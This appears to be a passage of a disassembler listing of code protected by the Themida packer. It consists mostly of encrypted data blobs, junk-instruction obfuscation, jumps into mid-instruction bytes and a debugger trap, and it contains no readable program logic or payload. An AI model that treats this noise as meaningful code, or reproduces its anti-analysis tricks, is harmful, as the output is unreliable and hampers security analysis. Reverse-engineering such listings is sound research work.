		dd 0F84AED2h, 8166F8B7h, 8B2140C7h, 6E960D7h, 0D8000000h
		dd 5C1DC9BEh, 0EE992h, 0AFF50000h, 9A2D518Ch, 0CCBF0402h
		dd 1B6D09E8h, 0F3816661h, 0BE668C0Fh, 0EE98F84h, 36000000h
		dd 3E7D74C4h, 0F5FB1A45h, 10174FE9h, 0E18053E9h, 66F95893h
		dd 0B67700B9h, 0C3F4BEBCh, 0CC8A36C2h, 0EE9h, 0E5D74400h
		dd 19B88E57h, 85671DBh,	8082984Dh, 11E9AFD5h, 0A2000000h
		dd 0D71EB048h, 0CD83E3CFh, 87022FA2h, 90B1D280h, 5D28166h
		dd 0D9B70F58h, 659BBA66h, 11E9h, 775DC300h, 5BA6A32Bh
		dd 0FC4A36F7h, 25DF5F57h, 0BF0F0D15h, 0F950F5C0h, 0C1B70F5Eh
		dd 6E9h, 1F2FB500h, 6682ED4Fh, 804E6ABAh, 6E84FC0h, 5000000h
		dd 0E538EC5Bh, 815FF912h, 0D5A36DE0h, 18A0F6Bh,	0F5000000h
		dd 3810Fh, 0DD800000h, 0B9666085h, 666132ABh, 0C8CCF681h
		dd 0E0C08166h, 0F2BF0F58h, 0BB66D98Bh, 0FD8A5E96h, 2C4188BEh
		dd 4B52B974h, 8B664303h, 6E9CAh, 485B0000h, 9829FE73h
		dd 0A8D0Fh, 8B0F0000h, 4, 254EB866h, 81F38B66h,	8AE66BD7h
		dd 0EABB665Fh, 0E7816692h, 810FBC57h, 9, 38B0Fh, 8B660000h
		dd 1ACA81D7h, 0B87401BCh, 31D252B5h, 13E9h, 90811400h
		dd 1E202082h, 4D0F8747h, 7C31D9C5h, 9C010A35h, 58B0Fh
		dd 81660000h, 0B8DEFFDAh, 0B0F382Fh, 0B65AF853h, 79E88139h
		dd 507FA510h, 98A7BE66h, 0CB8B6059h, 61D78B66h,	0EE27B966h
		dd 0ECBAF681h, 8C0F5359h, 15h, 0F8C0Fh,	0AE90000h, 16000000h
		dd 569831BDh, 0F2F7B751h, 0CE962h, 63D90000h, 0AE1C6177h
		dd 11DBF903h, 0CE8D0B9h, 42000000h, 0DDFAFD66h,	30F22DF9h
		dd 0E9249CB6h, 9, 17DA4B75h, 0E900EDF5h, 0BF0F5EACh, 0AABB66C6h
		dd 5E95234h, 2D000000h,	775196D3h, 41D7805Ah, 77DB8166h
		dd 0C0B70F10h, 2AD08060h, 491EC181h, 0F617251h,	0F8BFF6BFh
		dd 0F5DE4FCh, 38Dh, 4FC38000h, 0CE9h, 70779C00h, 0FE50452Ch
		dd 923F0868h, 1D890FDFh, 0E8000000h, 11h, 87E6AE29h, 927A4964h
		dd 0CC05380Ch, 0F2183FCEh, 880F0Dh, 5B000000h, 0AE9h, 94B09E00h
		dd 0C0A2848Dh, 0F03138Eh, 0C82h, 68C0F00h, 0F000000h, 8Bh
		dd 0FFE8B00h, 584h, 0BF0F5600h,	5E95ECFh, 0D4000000h, 3653EC24h
		dd 5E860h, 11F00000h, 668A4060h, 34A6E781h, 0BE666159h
		dd 0AE8314Eh, 1E000000h, 8F2BC3F2h, 7613135Eh, 58B0FA6h
		dd 0BB000000h, 59A5A349h, 0E8CCB759h, 10h, 546E8CF6h, 1CEEC6F8h
		dd 92DA1C8Dh, 8435BEACh, 0CE9h,	871D8200h, 0AAFD1665h
		dd 9AC863DCh, 0B8665E5Fh, 8B0F5EA7h, 19h, 14E9h, 0B286DC00h
		dd 38C9F333h, 828F9FD8h, 272C6AF5h, 0E8B7AC61h,	0FC30BB4Ah
		dd 0F857072Eh, 0FCF7815Bh, 8015E414h, 0BA66DDC8h, 0CF815830h
		dd 1476F7A1h, 0FE8h, 0A2E12300h, 0C7EF673Bh, 0EE70E98Ch
		dd 5FD8F8A6h, 5FC3BF0Fh, 0EE8h,	0DCFD6800h, 1B7C2F3Ch
		dd 8CB136FCh, 0E953A533h, 14h, 5AC6DC9Fh, 0B6AB06D5h, 0E8F95EB5h
		dd 0CAD46E0Ch, 0CD974BF0h, 0D1BF0F5Fh, 0F960FABFh, 0F7DC8038h
		dd 6060CA8Bh, 0CE9h, 0EF7F0C00h, 84F0BD4Fh, 9AF3EE67h
		dd 16B86688h, 8166610Bh, 61C27EE3h, 0AE9h, 0E9AEE200h
		dd 781020D2h, 0E9974620h, 12h, 0D050B724h, 879AE082h, 0D60C3028h
		dd 0E3AEBC0Ch, 0DE9BFD0h, 0F000000h, 0AFFC8294h, 9CA8316Dh
		dd 5DA64D56h, 0DE860h, 16210000h, 374D21D1h, 11F76C32h
		dd 8AA7DEDDh, 840F5EECh, 2, 0F861F0B0h,	0AE9h, 9DA01300h
		dd 790434BEh, 8B029FF5h, 46D380F7h, 8E8h, 0C9B7E300h, 69EA73F4h
		dd 0E85AF9E4h, 8, 94A4BB92h, 4955C601h,	0E8FA8B5Bh, 0Dh
		dd 5596AF9Fh, 0BF2E61D9h, 0CA07AA76h, 8E8A1h, 3D6D0000h
		dd 0E824A004h, 13E8A571h, 1F000000h, 0A39A3484h, 0C2D7DB87h
		dd 4AB7CED4h, 0C209B7A3h, 5B599A06h, 0C88B665Eh, 0CE8h
		dd 0CA0ED700h, 5A13D7F2h, 795A9210h, 20EF81F3h,	5841230Eh
		dd 0EE9h, 0CD5E6100h, 16C959CFh, 2FA86AE9h, 0F931748h
		dd 684h, 0A1E88100h, 8B1E0136h,	8146B5FBh, 88ACECF6h, 2EB802Dh
		dd 57D18B66h, 2930ADB8h, 9CBF5F1Bh, 0B827F046h,	5BCA3194h
		dd 0EE8h, 0F41DB100h, 5B7B5E67h, 99A0EF4Ah, 66C25CEDh
		dd 59FF69BFh, 481CBA66h, 4850Fh, 8A530000h, 0EB8059D8h
		dd 66C18B3Ch, 53C78ABEh, 0B4DE8166h, 0F565A71h,	138Dh
		dd 0EE900h, 26F10000h, 8FE2DC9Bh, 6C3446AFh, 4C006AB1h
		dd 0FFB70F5Ah, 0FDF8BF8h, 589h,	0F2816600h, 7E98554h, 67000000h
		dd 39F7A4ECh, 0AE9DD9Dh, 0A1000000h, 0FE73485Bh, 74DE9829h
		dd 60F08B9Fh, 13E8FCB4h, 66000000h, 3D4B26A1h, 0B39A6442h
		dd 0F7A934A9h, 7CB6D0A4h, 8A0F2F50h, 0
; ---------------------------------------------------------------------------
		pop	edi
		popa
		adc	eax, 36F6B47Dh
		push	eax
		push	ebx
		pusha
		popa
		pop	esi
		pop	edx
		sbb	bl, 0CAh
		mov	cx, 2D3Ah
		sbb	ah, 0A4h
		mov	esi, ebx
		pusha
		call	sub_5D1955
		mov	al, ds:9F94CA40h

; =============== S U B	R O U T	I N E =======================================



sub_5D1955	proc near		; CODE XREF: Themida_:005D194Bp
		stc
		pop	edi
		sub	eax, 45454403h
		popa
		mov	edi, edx
		jmp	loc_5D1974
; ---------------------------------------------------------------------------
		align 2
		dw 0BF95h
		dd 81B0D197h, 0CC169214h, 5F1D4AB1h
; ---------------------------------------------------------------------------


loc_5D1974:				; CODE XREF: sub_5D1955+Bj
		mov	edx, ebx
		jmp	loc_5D1983
; ---------------------------------------------------------------------------
		dec	ebx
		dec	eax
		inc	ebx
		dec	eax
		sub	edx, [edx]
		and	al, 52h


loc_5D1983:				; CODE XREF: sub_5D1955+21j
		pusha
		jnz	loc_5D1990
		adc	esi, 68713D13h


loc_5D1990:				; CODE XREF: sub_5D1955+2Fj
		popa
		jp	loc_5D199B
		mov	ax, 611Eh


loc_5D199B:				; CODE XREF: sub_5D1955+3Cj
		call	near ptr loc_5D19AA+4
		or	eax, 7E68E4E6h
		bound	ebx, [edx+69h]
		xor	al, 0E9h


loc_5D19AA:				; CODE XREF: sub_5D1955:loc_5D199Bp
		push	6629F84Dh
sub_5D1955	endp ; sp-analysis failed

		mov	esi, ebx
		pop	eax
		mov	edx, ecx
		jo	loc_5D19C7
		pusha
		sbb	ax, 72CEh
		jns	$+6
		popa


loc_5D19C7:				; CODE XREF: Themida_:005D19B4j
		jnb	$+6
		jmp	loc_5D19E5
; ---------------------------------------------------------------------------
		dw 0F61Bh
		dd 2EC3C74Ch, 0A0648069h, 961BAEC4h, 2536D869h
		db 0F6h
; ---------------------------------------------------------------------------


loc_5D19E5:				; CODE XREF: Themida_:005D19CDj
		movzx	ecx, ax
		sbb	ax, 0FCE8h
		movsx	ebx, ax
		mov	di, si
		mov	ax, 0A6A1h
		pusha
		mov	eax, edx
		mov	cl, 26h
		popa
		mov	ah, 5Ah
		mov	dx, bx
		clc
		or	bh, 9Bh
		jo	loc_5D1A0E
		mov	dh, 4Eh


loc_5D1A0E:				; CODE XREF: Themida_:005D1A06j
		mov	edi, esi
		add	ebx, 6FAC1E6Fh
		mov	ax, cx
		jno	loc_5D1A3C
		call	sub_5D1A2B
		retn	5EC1h
; ---------------------------------------------------------------------------
		db 0ADh
		db 3, 0C6h, 0F7h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_5D1A2B	proc near		; CODE XREF: Themida_:005D1A1Fp
		jmp	near ptr sub_5D1A3B
sub_5D1A2B	endp

; ---------------------------------------------------------------------------
		dd 90F7E537h, 0E7B292F8h
		db 2Dh,	0A0h, 37h

; =============== S U B	R O U T	I N E =======================================



sub_5D1A3B	proc far		; CODE XREF: sub_5D1A2Bj

; FUNCTION CHUNK AT 005D1AA0 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005D1AC5 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 005D1B10 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005D1B2F SIZE 00000029 BYTES

		pop	eax


loc_5D1A3C:				; CODE XREF: Themida_:005D1A19j
		movsx	edi, bx
		jns	loc_5D1A46
		cmc


loc_5D1A46:				; CODE XREF: sub_5D1A3B+4j
		mov	cx, di
		mov	al, 28h
		sbb	edi, 0CCD2A37h
		jmp	loc_5D1A5F
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 18h
; ---------------------------------------------------------------------------
		scasb
		daa
		retn
; ---------------------------------------------------------------------------
		db 0CEh
		db 0E4h, 0D0h, 76h
; ---------------------------------------------------------------------------


loc_5D1A5F:				; CODE XREF: sub_5D1A3B+16j
		pusha
		add	edi, 7F738671h
		movzx	ebx, dx
		popa
		push	eax
		cmc
		pop	edi
		mov	di, 2804h
		or	ax, 7C17h
		sbb	dx, 2AA1h
		call	near ptr loc_5D1A86+1
		fneni
		jge	short near ptr loc_5D1AF2+4
		xor	edi, eax


loc_5D1A86:				; CODE XREF: sub_5D1A3B+40p
		db	2Eh
		jmp	loc_5D1AA0
sub_5D1A3B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 0B24BADD6h, 0FCA89146h, 6C524B0Dh, 0EA13A717h, 0E8E12989h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5D1A3B


loc_5D1AA0:				; CODE XREF: sub_5D1A3B:loc_5D1A86j
		pop	ecx
		cld
		mov	si, dx
		jbe	loc_5D1AB1
		and	eax, 40B28F82h


loc_5D1AB1:				; CODE XREF: sub_5D1A3B+6Aj
		jmp	loc_5D1AC5
; END OF FUNCTION CHUNK	FOR sub_5D1A3B
; ---------------------------------------------------------------------------
		dw 60Fh
		dd 87EB6E8Dh, 18F16353h, 8E456AE4h
		db 3Eh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5D1A3B


loc_5D1AC5:				; CODE XREF: sub_5D1A3B:loc_5D1AB1j
		movsx	esi, di
		mov	edx, ebx
		mov	ebx, 242B76Dh
		xor	eax, 5D549F5Fh
		adc	ax, 938Bh
		push	ecx
		movsx	eax, ax
		pop	edx
		mov	cl, 24h
		call	near ptr loc_5D1AF2+2
		sahf
		int	3		; Trap to Debugger
		cmp	esp, edx
		push	dword ptr [esi-23D9D783h]
		lahf


loc_5D1AF2:				; CODE XREF: sub_5D1A3B+A6p
					; sub_5D1A3B+47j
		mov	ds:5FC78B7Ah, eax
		clc
		jmp	loc_5D1B10
; END OF FUNCTION CHUNK	FOR sub_5D1A3B
; ---------------------------------------------------------------------------
		db 37h,	2Dh, 0B0h
		dd 0F372370Dh, 705CDB7Eh, 0A8BF401Bh, 7F800A2Ah
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5D1A3B


loc_5D1B10:				; CODE XREF: sub_5D1A3B+BDj
		jb	loc_5D1B2F
		jmp	loc_5D1B2F
; END OF FUNCTION CHUNK	FOR sub_5D1A3B
; ---------------------------------------------------------------------------
		db 0DCh
		dd 19CDD826h, 859448E6h, 0A1962311h, 9A86F476h
		db 0ADh, 7, 87h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5D1A3B


loc_5D1B2F:				; CODE XREF: sub_5D1A3B:loc_5D1B10j
					; sub_5D1A3B+DBj
		sub	di, 0C609h
		jnb	loc_5D1B42
		pusha
		push	esi
		pop	ecx
		mov	si, 215Eh
		popa


loc_5D1B42:				; CODE XREF: sub_5D1A3B+F9j
		mov	dh, 51h
		pusha
		mov	edx, 77891D57h
		push	edx
		call	near ptr sub_5D1B5E
		push	edx
		push	edx
		lea	eax, [edx-1040A205h]
; END OF FUNCTION CHUNK	FOR sub_5D1A3B
; ---------------------------------------------------------------------------
		dd 5885250Fh
; ---------------------------------------------------------------------------
		mov	bl, 0E7h

; =============== S U B	R O U T	I N E =======================================



sub_5D1B5E	proc far		; CODE XREF: sub_5D1A3B+110p
		pop	ecx
		pop	ebx
		popa
		clc
		sub	ax, 97FCh
		mov	ecx, esi
		mov	eax, 46904748h
		add	edx, 236768Dh
		mov	si, 6994h
		mov	ch, 97h
		or	bl, 0A3h
		cld
		jmp	loc_5D1B97
; ---------------------------------------------------------------------------
		db 70h
		dd 2C7131B4h, 0F09600D4h, 0F29FA527h, 3F6E595Ah
		db 78h,	59h, 0FCh
; ---------------------------------------------------------------------------


loc_5D1B97:				; CODE XREF: sub_5D1B5E+20j
		mov	ebx, edx
		call	sub_5D1BA5	; CODE XREF: Themida_:005D1BFEj
		enter	0FFFFA083h, 0ADh
		in	eax, 0B5h	; Interrupt Controller #2, 8259A
		retf
sub_5D1B5E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5D1BA5	proc near		; CODE XREF: sub_5D1B5E+3Bp
		pop	edi
		mov	bh, cl
		add	dl, 0CAh
		sub	ch, 14h
		push	ecx
		cld
		pop	esi
		jmp	loc_5D1BBB
; ---------------------------------------------------------------------------
		dw 6BE2h
; ---------------------------------------------------------------------------
		aad	6Dh
		das


loc_5D1BBB:				; CODE XREF: sub_5D1BA5+Cj
		xor	dl, 0FDh
		mov	esi, ebx
		mov	ax, 7C51h
		push	esi
		mov	cx, si
		pop	edx
		sbb	di, 7324h
		push	ecx
		jp	loc_5D1BDB
		adc	ecx, 51752C93h


loc_5D1BDB:				; CODE XREF: sub_5D1BA5+2Aj
		pop	ecx
		push	edx
		cmc
		pop	eax
		jmp	loc_5D1BEC
; ---------------------------------------------------------------------------
		dd 9C4AD622h, 1B1E0C78h
; ---------------------------------------------------------------------------


loc_5D1BEC:				; CODE XREF: sub_5D1BA5+3Aj
		mov	cl, 0BAh
		movzx	edi, bx
		call	near ptr loc_5D1BFB+1
		lahf
		into
		dec	eax
		dec	esp
		icebp


loc_5D1BFB:				; CODE XREF: sub_5D1BA5+4Cp
		shl	dword ptr [esi-7Fh], cl
sub_5D1BA5	endp ; sp-analysis failed

		loope	near ptr loc_5D1B99+3
		call	far ptr	0:5E8515Eh
		add	al, cl
		icebp
		ja	short loc_5D1C3B
		inc	ecx
		mov	si, 0A26Dh
		pop	edx
		pop	eax
		cmc
		jmp	loc_5D1C2B
; ---------------------------------------------------------------------------
		db 64h,	0EFh, 9Ah
		dd 0F334AB4Ch, 0DA9E1FF8h, 0A2E8DF6Ch
		db 3Ch,	35h, 0CAh
; ---------------------------------------------------------------------------


loc_5D1C2B:				; CODE XREF: Themida_:005D1C14j
		mov	bx, si
		pusha
		jmp	loc_5D1C45
; ---------------------------------------------------------------------------
		lodsb
		add	byte ptr [ecx-5Dh], 0F4h
		fld	qword ptr [ebx]


loc_5D1C3B:				; CODE XREF: Themida_:005D1C0Aj
		db	36h
		mov	byte ptr cs:[esp+ebp*8], 83h
		db	64h
		inc	ebp
		fsub	dword ptr [edx]


loc_5D1C45:				; CODE XREF: Themida_:005D1C2Fj
		jb	loc_5D1C51
		adc	eax, 7F8234B3h


loc_5D1C51:				; CODE XREF: Themida_:loc_5D1C45j
		popa
		xor	ax, 0F90h
		jmp	loc_5D1C69
; ---------------------------------------------------------------------------
		dd 0A84299AFh, 4551F4B7h, 1698F1E3h
		db 6Ah
; ---------------------------------------------------------------------------


loc_5D1C69:				; CODE XREF: Themida_:005D1C57j
		movsx	eax, di
		call	sub_5D1C80
		xor	ah, [ecx]
		push	3E780E35h
		call	far ptr	0A3EFh:0E31BA175h
		dec	edx

; =============== S U B	R O U T	I N E =======================================



sub_5D1C80	proc near		; CODE XREF: Themida_:005D1C6Cp
		movzx	edx, dx
		pop	ebx
		or	cl, 0D0h
		movzx	ecx, bx
		movzx	edi, si
		add	ax, 0F370h
		call	sub_5D1CAA
		inc	esp
		bound	ebx, [eax-25E2580Fh]
		sub	[esi+edx*8], ebx
		pushf
		inc	esp
		cmp	[ebp-78DF0020h], cl
		dec	esi
sub_5D1C80	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5D1CAA	proc near		; CODE XREF: sub_5D1C80+12p
		jo	loc_5D1CC2
		jmp	loc_5D1CC2
; ---------------------------------------------------------------------------
		db 60h,	0B1h, 0B6h
		dd 0FBB9EA63h, 545D8E22h
		db 21h,	7Ah
; ---------------------------------------------------------------------------


loc_5D1CC2:				; CODE XREF: sub_5D1CAAj sub_5D1CAA+6j
		pop	ebx
		ja	loc_5D1CE2
		call	sub_5D1CDB
		in	al, 0Ah		; DMA controller, 8237A-5.
					; single mask bit register
					; 0-1: select channel (00=0; 01=1; 10=2; 11=3)
					; 2: 1=set mask	for channel; 0=clear mask (enable)
		cmp	bh, dh
		adc	bl, [ecx]
		pop	ebp
		add	eax, 13C51Fh
		lahf
sub_5D1CAA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5D1CDB	proc near		; CODE XREF: sub_5D1CAA+1Fp
		adc	ecx, 284A7133h
		pop	ebx


loc_5D1CE2:				; CODE XREF: sub_5D1CAA+19j
		xor	bl, 8Ah
		cld
		jmp	loc_5D1CF7
; ---------------------------------------------------------------------------
		db 0F5h
		dd 0FBEA757Dh, 71A5F925h
		db 78h,	8Bh, 7
; ---------------------------------------------------------------------------


loc_5D1CF7:				; CODE XREF: sub_5D1CDB+Bj
		jno	loc_5D1D00
		mov	dx, si


loc_5D1D00:				; CODE XREF: sub_5D1CDB:loc_5D1CF7j
		and	di, 8670h
		mov	dx, di
		call	sub_5D1D1B
		std
		retn
sub_5D1CDB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0DCh
		dd 1C16A20Ah, 55302755h
		db 93h,	0E6h, 0D2h

; =============== S U B	R O U T	I N E =======================================



sub_5D1D1B	proc near		; CODE XREF: sub_5D1CDB+2Dp
		mov	ebx, edi
		pop	ecx
		mov	cx, 0A930h


loc_5D1D22:				; CODE XREF: sub_5D1D1B+Dj
		call	near ptr loc_5D1D2F+4
		push	ds
		jl	short loc_5D1D22
		pop	esi
		xchg	bl, [ebp+ecx*8+75h]


loc_5D1D2F:				; CODE XREF: sub_5D1D1B:loc_5D1D22p
		mov	edx, 0BA4D290Dh
sub_5D1D1B	endp ; sp-analysis failed

		popa
		arpl	sp, di
		push	edi
		pop	edi
		mov	esi, 76E9AD04h
		movsx	esi, bx
		sub	ecx, 163B1679h
		push	edx
		mov	ebx, esi
		pop	edi
		mov	ch, 78h
		call	sub_5D1D63
		fcmovne	st, st(2)
		cmp	eax, 0DF45450Bh
		retf
; ---------------------------------------------------------------------------
		dw 0CDD5h
		dd 99A55154h
		db 78h,	63h, 4

; =============== S U B	R O U T	I N E =======================================



sub_5D1D63	proc near		; CODE XREF: Themida_:005D1D4Dp
		pop	ecx
		mov	ah, bl
		jg	$+6
		mov	dl, al
		jmp	loc_5D1D79
; ---------------------------------------------------------------------------
		db 25h
		dd 2E449A37h
		db 64h
; ---------------------------------------------------------------------------


loc_5D1D79:				; CODE XREF: sub_5D1D63+Bj
		call	near ptr loc_5D1D85+2
		stosb
		cmp	eax, 0B06FB12Bh
		pop	edi


loc_5D1D85:				; CODE XREF: sub_5D1D63:loc_5D1D79p
		db	3Eh
		mov	bh, 0E9h
sub_5D1D63	endp ; sp-analysis failed

		adc	al, 0
; ---------------------------------------------------------------------------
		dw 0
		dd 0CAC64CC7h, 0BBBE3Ah, 5CFEDCB7h, 0EBD10045h,	7A079A60h
		dd 0D08B6059h, 0A108CE81h, 0E961667Fh, 0Fh, 5C0F3021h
		dd 29BDBEE4h, 0DD0CCD9Dh, 0BEAB3E6Bh, 1293328Bh, 0FE960h
		dd 136F0000h, 51711C12h, 5E8D7698h, 0E771BA81h,	5E9A2h
		dd 0F2A50000h, 61853B38h, 3840Fh, 0B70F0000h, 8BC68BD1h
		dd 7E9D9h, 0FD550000h, 9B502827h, 5BF55656h, 0FA8BC88Bh
		dd 0DBEABE66h, 12830Fh,	0DE90000h, 36000000h, 0FBEFAB85h
		dd 34551348h, 4C171B75h, 88BBC78Ah, 6676E9C0h, 8B66D38Bh
		dd 0DBD981F7h, 0B273E43Bh, 0EBCE8105h, 0BE0A6815h, 7E4166DFh
		dd 13E9h, 28220500h, 0AD0836C5h, 358B96BDh, 0F698D1CFh
		dd 4C45E053h, 96F68160h, 6635AD76h, 5061D78Bh, 5E8h, 675CC000h
		dd 870F6276h, 0
; ---------------------------------------------------------------------------
		pop	ebx
		pop	edi
		mov	dx, 5769h
		pusha
		jmp	loc_5D1E8F
; ---------------------------------------------------------------------------
		dd 9BA886A2h, 0E5E5DD4Eh, 3F45E57Dh
; ---------------------------------------------------------------------------
		or	edx, ebx
		std


loc_5D1E8F:				; CODE XREF: Themida_:005D1E7Bj
		push	esi
		mov	esi, edi
		pop	ebx
		popa
		jmp	loc_5D1EAB
; ---------------------------------------------------------------------------
		db 24h,	47h, 7Dh
		dd 9FED1A9Fh, 43209B4Ah, 92795B20h
; ---------------------------------------------------------------------------
		dec	ecx
		or	dh, al


loc_5D1EAB:				; CODE XREF: Themida_:005D1E94j
		mov	bh, 0F2h
		jmp	loc_5D1EC1
; ---------------------------------------------------------------------------
		sal	dword ptr ds:21DDF07h, cl
		sbb	eax, 835DB707h
		db	67h
		daa
		mov	dl, 2Ah


loc_5D1EC1:				; CODE XREF: Themida_:005D1EADj
		stc
		adc	al, 7Dh
		mov	cx, si
		jmp	loc_5D1EDD
; ---------------------------------------------------------------------------
		db 0B4h, 12h, 87h
		dd 4381B910h, 0D1431F53h, 21F38B24h
; ---------------------------------------------------------------------------
		pop	edi


loc_5D1EDD:				; CODE XREF: Themida_:005D1EC8j
		jmp	loc_5D1EF2
; ---------------------------------------------------------------------------
		dw 0A11Ah
		dd 0F3651212h, 618B3DBh, 80D4ACB0h
		db 0D9h, 0E6h
; ---------------------------------------------------------------------------


loc_5D1EF2:				; CODE XREF: Themida_:loc_5D1EDDj
		mov	ch, 29h
		pusha
		mov	di, dx
		jge	loc_5D1F00
		pusha
		popa


loc_5D1F00:				; CODE XREF: Themida_:005D1EF8j
		popa
		movzx	esi, di
		call	near ptr loc_5D1F12+2
		scasb
		add	eax, 0B2F7F7A2h
		pop	edx
		cdq
		inc	edi


loc_5D1F12:				; CODE XREF: Themida_:005D1F04p
		fdiv	dword ptr [ecx+ebp*8]
		add	eax, 68000000h
		mov	dl, ds:0B15E01BCh
		inc	ebx
		js	loc_5D1F2A
		adc	cl, 22h


loc_5D1F2A:				; CODE XREF: Themida_:005D1F21j
		stc
		mov	ecx, esi
		pusha
		mov	bh, al
		add	ax, 0C1B7h
		popa
		call	sub_5D1F4B
		popa
		cmp	[eax+6774E65Dh], al
		fimul	word ptr [ecx+2AEFF485h]
		inc	edi
		sal	eax, cl

; =============== S U B	R O U T	I N E =======================================



sub_5D1F4B	proc near		; CODE XREF: Themida_:005D1F36p
		call	near ptr loc_5D1F59+1
		sbb	esi, [edi]
		ror	byte ptr ds:7A5F0C47h, 0C8h


loc_5D1F59:				; CODE XREF: sub_5D1F4Bp
		mov	ebp, ecx
sub_5D1F4B	endp ; sp-analysis failed

		adc	eax, [eax]
; ---------------------------------------------------------------------------
		db 2 dup(0), 0D6h
		dd 93476ADEh, 838EB0D8h, 5579A4CEh, 9A7ED92h, 5F58D252h
		dd 8BF78B66h, 9E9D7h, 0B8B60000h, 0D1B11571h, 0F36D48Ah
		dd 48Ch, 0D9BA6600h, 7BD78059h,	10E8h, 7306ED00h, 9DEC2EFCh
		dd 0E97F3612h, 11FC6C31h, 0EE9D4h, 843B0000h, 7D810C0h
		dd 0B4D6C408h, 0AFF1100Fh, 13E85Fh, 8EFE0000h, 80D0BEA1h
		dd 0A4EBB585h, 2CE98044h, 1F2E012Ch, 0D6E681B4h, 5A27E26Fh
		dd 0AE9h, 0B305F900h, 0CBA0B182h, 0FBE5334h, 0B8Bh, 58A0F00h
		dd 66000000h, 60A0D681h, 0F10E380h, 6060F6B7h, 8C0Fh, 0BB660000h
		dd 0E8615549h, 6, 5C7778CDh, 61606C8Ch,	13BB615Eh, 604F600Bh
		dd 0EE9h, 1A88B400h, 0F55082E0h, 38F2A5B0h, 619E853Bh
		dd 0EE14BAFCh, 80534A88h, 0F5BAADEh, 0E780CEB7h, 6E87Ah
		dd 27110000h, 0FBEA64Ch, 6E958FCh, 0C6000000h, 0D5ED48A5h
		dd 0CAE2817Fh, 600E61ACh, 58F0FF8h, 66000000h, 3C49E981h
		dd 9AB96661h, 0EE84Fh, 0A05B0000h, 79DF8355h, 0F31EF40Eh
		dd 0E344A5CAh, 3FC2805Ah, 0E8DABF0Fh, 6, 0A87EEED8h, 0F60EAE3h
		dd 8Ah,	8A0F00h, 61000000h, 6E85Ah, 0E74D0000h,	3D36E0CEh
		dd 0A1DA805Bh, 18840Fh,	13E90000h, 7B000000h, 45CEF2EBh
		dd 0B323DC6Ah, 0AFCBA9C0h, 0DED20702h, 79B5418Eh, 0DE9h
		dd 3076C500h, 0CC0BBE0Ah, 0E20E3F14h, 0BE94D19h, 8D000000h
		dd 0FFB9F68Eh, 0F1FBA6C3h, 820FF920h, 6, 1880D381h, 8B662665h
		dd 0D38166C8h, 5E5187D5h, 0CA8B6651h, 138A0F5Eh, 0E8000000h
		dd 0Bh,	6AC2C5ECh, 227A79B3h, 52C40D17h, 8166595Ah, 515684C7h
		dd 0F859F78Bh, 118C0Fh,	0CE90000h, 54000000h, 53DF443h
		dd 2B8CC93Fh, 601BAD26h, 18E0Fh, 0F9FC0000h, 8AFDB961h
		dd 0CA8B4419h, 5E9FE8Bh, 0C8000000h, 67A03D31h,	18810Fh
		dd 13E90000h, 61000000h, 0EDBBA115h, 5B3C8876h,	0F54BFE85h
		dd 6C1A3CB9h, 0FF5221Fh, 0F57D3BFh, 0F8Ah, 9E800h, 3DBE0000h
		dd 0B2D52E17h, 5B38EAE0h, 59F5505Bh, 1A870Fh, 8D0F0000h
		dd 14h,	0FE9h, 12847D00h, 0D92D9677h, 0F19DC549h, 0A40B5632h
		dd 36h dup(7A92ABF9h), 0D96D54F9h, 70h dup(0D96D576Bh)
		dd 257h	dup(2111F70Ch),	0BC11F70Ch, 1A8h dup(0BCEEEBA9h)
		dd 28D5EBA9h, 105h dup(28D5C00Bh)
		db 0Bh,	0C0h
		db 0D5h
byte_5D3883	db 28h			; DATA XREF: Themida_:00556D01o
					; Themida_:00556D08o
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
		dw 28D5h
		db 0Bh,	0C0h
